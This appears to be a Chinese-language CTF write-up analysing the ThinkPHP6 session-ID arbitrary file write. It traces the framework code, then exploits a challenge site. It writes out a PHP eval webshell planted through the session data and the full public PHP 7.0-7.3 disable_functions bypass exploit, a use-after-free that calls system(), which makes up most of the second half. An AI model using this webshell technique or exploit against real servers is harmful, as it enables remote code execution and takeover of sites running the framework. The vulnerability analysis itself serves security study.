ThinkPHP6任意文件操作漏洞分析

ThinkPHP6任意文件操作漏洞分析

原理

在开启session的情况下可以导致创建任意文件以及删除文件,在特定情况下可以getshell

1
### ctype_alnum($text)

检测输入的$text中所有的字符全部是字母和数字,如果是,返回TRUE,否则返回FALSE

在源码中,/src/think/session/Store.php中的212行设置id时增加了一个函数ctype_alnum($text)

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* session_id设置
* @access public
* @param string $id session_id
* @return void
*/
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
$this->id=is_string($id) && strlen($id) === 32 && ctype_alnum($id)? $id:md5(microtime(true).session_create_id());
}

/**

而上面也有提及,ctype_alnum()函数是检测$id是否全部是字母和数字的,所以根据文件目录和更改的函数部分猜测:

1
可能是存储Session时导致的文件写入,所以我们可以跟进相关的函数,看向vendor/topthink/framework/src/think/session/Store.php的254行的save()函数

/**
* 保存session数据
* @access public
* @return void
*/
public function save(): void
{
$this->clearFlashData();

    $sessionId = $this->getId();

    if (!empty($this->data)) {
        $data = $this->serialize($this->data);

        $this->handler->write($sessionId, $data);
    } else {
        $this->handler->delete($sessionId);
    }

    $this->init = false;
}

/**
1
然后看向

$this->handler->write($sessionId, $data);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
然后跟进write()函数,在vendor/topthink/framework/src/think/session/driver/File.php中的210行代码
```
/**
* 写入Session
* @access public
* @param string $sessID
* @param string $sessData
* @return bool
*/
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;

if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

return $this->writeFile($filename, $data);
}

/**

然后我们看向writeFile()函数,然后跟进vendor/topthink/framework/src/think/session/driver/File.php中的170行

1
2
3
4
5
6
7
8
9
* 写文件(加锁)
* @param $path
* @param $content
* @return bool
*/
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}

我们可以从代码中看见file_put_contents()函数,可知内容$content被写入$path中

所以整体思路是

1
2
3
4
5
写入函数file_put_contents($path,$content,LOCK_EX)中的参数$path和$content来源于函数writeFile($path,$data)

而writeFile($path,$data)中的参数$path和$data来源于函数write(String $sessionID,String $sessiData)

而wirte(String $sessionID,String $sessiData)中参数$sessionID和$sessiData来源于save()中调用的write()

而其中write()函数中$sessionID的值调用了getId()传入的,在源码vendor/topthink/framework/src/think/session/Store.php中的129行

1
2
3
4
public function getId(): string
{
return $this->id;
}

但是在getId时,需要先创建sessionId,所以要找setId()函数,在源码vendor/topthink/framework/src/think/session/Store.php中的119行

1
2
3
4
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

所以我们可以看向调用setId()的函数handle()函数,在源码vendor/topthink/framework/src/think/middleware/SessionInit.php:46中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}

if ($sessionId) {
$this->session->setId($sessionId);
}

其中$cookieName其实就是PHPSESSID,而$sessonid为PHPSESSID的值,所以为可控的值,因此可以确定write()函数中$sessionID的值

而对于$sessiData的值,可以看向vendor/topthink/framework/src/think/session/Store.php:261的变量$data传入:

1
$data = $this->serialize($this->data);

而$data默认环境中是空的

1
2
3
4
5
/**
* Session数据
* @var array
*/
protected $data = [];

所以对于写入session的内容实际是有后端业务逻辑来决定的,所以要在严苛的条件下才可以写入webshell,而这个实现任意文件操作漏洞需要开启session环境下才可以实现,如果想开启session,则需要thinkphp6开启session的方法:删除/app/middleware.php最后一行的注释

实例(

打开页面,发现有注册、登录和搜索的功能,所以我们在注册和登录页面尝试sql注入测试,发现不是,所以我们扫描目录,发现有www.zip文件泄露,同时我们再随便构造payload

1
/djddbebkebkb

发现是ThinkPHP6版本的框架,然后审计源码,发现是ThinkPHP6版本框架的任意文件操作漏洞,我们可以利用PHPSESSID来确定生成的session文件的名字,然后$data数据,我们可以看向这个源码中的前端源码\app\home\controller\Member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}
}
}

看向

1
2
3
4
5
session("Record",$data["key"])

session("Record",implode(",",$recordArr) . "," . $data["key"]);

session("Record",$record . "," . $data["key"]);

发现在搜索页面是$data的输入,所以我们可以在注册时,伪造长度为32的文件名aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php,然后进入搜索页面,进行代码的输入

1
<?php @eval($_POST[cmd];?>

然后访问路径是/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
用蚁剑进行连接,进入后台,发现读取不了/readflag,然后在搜索页面构造

1
<?php phpinfo();?>

看php版本,发现disable_function中有许多的系统函数被禁,所以需要绕过disable_function,本来打算劫持系统函数,然后利用php函数中用来发邮件的函数来启动子程序,从而在子程序中执行被禁函数,来读取/readflag的,但是发现不行,也许是被过滤了或在这里发邮件函数不可以启动子程序吧,所以我们可以使用我网上找的exp来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

上传这个文件到/var/tmp目录下,然后在搜索页面构造

1
<?php include("/var/tmp/exp.php");?>

然后访问runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php执行文件即可得到flag